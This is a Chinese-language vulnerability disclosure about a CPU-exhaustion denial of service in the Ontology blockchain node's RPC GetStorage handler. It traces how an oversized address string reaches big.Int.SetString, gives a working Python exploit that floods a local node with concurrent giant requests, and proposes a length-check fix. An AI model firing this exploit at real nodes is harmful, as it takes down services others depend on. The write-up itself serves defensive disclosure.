路漫漫其修远兮

ONT - 本体区块链公链RPC服务远程拒绝服务漏洞分析

2019.04.24

漏洞报告: ONTIO本体区块链公链远程拒绝服务漏洞

本文档描述了ONTIO本体公链项目github page的一个远程拒绝服务攻击,由于 AddressFromBase58 函数未对 math.big.Int.SetString 的参数缺少检查,恶意的参数可以导致远程RPC节点在处理GetStorage消息时会产生CPU耗尽型的拒绝服务。

Ontology公链致力于创建一个组件化、可自由配置、跨链支持、高性能、横向可扩展的区块链底层基础设施。 让部署及调用去中心化应用变得更加非常简单。

测试环境

  • Ontology: master branch in github,latest commit b2d5f11
  • Golang: go1.10 linux/amd64
  • OS and hardware: ubuntu 16.04, Intel Core i5, 1G RAM

漏洞位置

漏洞位于文件 github.com/ontio/ontology/common/address.go 的 AddressFromBase58 函数

// AddressFromBase58 returns Address from encoded base58 string
func AddressFromBase58(encoded string) (Address, error) {
	if encoded == "" {
		return ADDRESS_EMPTY, errors.New("invalid address")
	}
	decoded, err := base58.BitcoinEncoding.Decode([]byte(encoded))
	if err != nil {
		return ADDRESS_EMPTY, err
	}

	x, ok := new(big.Int).SetString(string(decoded), 10)
	if !ok {
		return ADDRESS_EMPTY, errors.New("invalid address")
	}

	buf := x.Bytes()
	if len(buf) != 1+ADDR_LEN+4 || buf[0] != byte(23) {
		return ADDRESS_EMPTY, errors.New("wrong encoded address")
	}

	ph, err := AddressParseFromBytes(buf[1:21])
	if err != nil {
		return ADDRESS_EMPTY, err
	}

	addr := ph.ToBase58()

	if addr != encoded {
		return ADDRESS_EMPTY, errors.New("[AddressFromBase58]: decode encoded verify failed.")
	}

	return ph, nil
}

变量 encoded 代表RPC接口处传入参数数组params的第一个值,是 string 类型,函数 AddressFromBase58 将该变量通过 math.big.Int.SetString 转换成有理数类型 big.Int 。如果用户可以控制变量 encoded ,使其值为一个长度很大的字符串,如 "exp" * 10000000 , 则通过base58.BitcoinEncoding.Decode([]byte(encoded))函数转换后仍然为一个超长的切片decoded,如下所示:

// https://github.com/itchyny/base58-go/blob/master/base58.go
// Decode decodes the base58 encoded bytes.
func (enc *Encoding) Decode(src []byte) ([]byte, error) {
	if len(src) == 0 {
		return []byte{}, nil
	}
	var zeros []byte
	for i, c := range src {
		if c == enc.alphabet[0] && i < len(src)-1 {
			zeros = append(zeros, '0')
		} else {
			break
		}
	}
	n := new(big.Int)
	var i int64
	for _, c := range src {
		if i = enc.decodeMap[c]; i < 0 {
			return nil, fmt.Errorf("invalid character '%c' in decoding a base58 string \"%s\"", c, src)
		}
		n.Add(n.Mul(n, radix), big.NewInt(i))
	}
	return n.Append(zeros, 10), nil
}

math.big.Int.setString 在处理decode时会发生长时间占满CPU的情况,造成拒绝服务漏洞。通过对函数调用链进行跟踪,发现参数encoded由函数GetAddress的参数str提供,如下所示:

func GetAddress(str string) (common.Address, error) {
	var address common.Address
	var err error
	if len(str) == common.ADDR_LEN*2 {
		address, err = common.AddressFromHexString(str)
	} else {
		address, err = common.AddressFromBase58(str)
	}
	return address, err
}

进一步参数str由RPC接口处理函数GetStorage的参数params提供,如下所示:

//get storage from contract
//   {"jsonrpc": "2.0", "method": "getstorage", "params": ["code hash", "key"], "id": 0}
func GetStorage(params []interface{}) map[string]interface{} {
	if len(params) < 2 {
		return responsePack(berr.INVALID_PARAMS, nil)
	}

	var address common.Address
	var key []byte
	switch params[0].(type) {
	case string:
		str := params[0].(string)
		var err error
		address, err = bcomn.GetAddress(str)
		if err != nil {
			return responsePack(berr.INVALID_PARAMS, "")
		}
	default:
		return responsePack(berr.INVALID_PARAMS, "")
	}
	....

RPC服务中GetStorage函数参数params的第一个参数通过类型断言转换为string类型,进入bcomn.GetAddress(str)函数,在该函数中,对str长度进行判断,如果不等于common.ADDR_LEN*2则进入else逻辑中的common.AddressFromBase58(str)函数,在该函数中首先通过函数base58.BitcoinEncoding.Decode([]byte(encoded))对参数进行转换得到切片decoded,漏洞最终在该函数中的x, ok := new(big.Int).SetString(string(decoded), 10)位置触发

拒绝服务

函数 GetStorage 可以通过RPC接口触发,因此通过RPC功能可以实现远程拒绝服务攻击。在本地启动一个 ONTIO 节点,通过RPC触发的方式进行验证。

4

本地测试

下载官方项目编译好linux_amd64二进制可执行文件运行,加入测试网络运行

1

编写漏洞利用函数

#!/usr/bin/env python3

import requests
from gevent import pool,monkey
monkey.patch_all()


def exp():

	URL = "http://127.0.0.1:20336"
	data = {
			"jsonrpc": "2.0",
			"method": "getstorage",
			"params": ["exp" * 10000000,"key","aaa"], # encoded <string>
			"id": 1
		}

	response = requests.post(url=URL,json=data)
	print(response.json())

def run():

	p = pool.Pool()
	for i in range(5):
		p.apply_async(exp)
	p.join()


if __name__ == '__main__':
	run()

在运行漏洞利用脚本30s后,服务器终止了ontology程序,部分trace如下图所示:

2

3

利用漏洞利用代码成功实现了ONTIO节点RPC服务的远程拒绝服务攻击

总结

通过本地测试验证了ONTIO节点中DoS的存在,并通过漏洞利用脚本调用RPC服务,从而完成了远程拒绝服务的验证。通过增加对 encoded 参数的长度检查可以避免该问题。

时间线

发表评论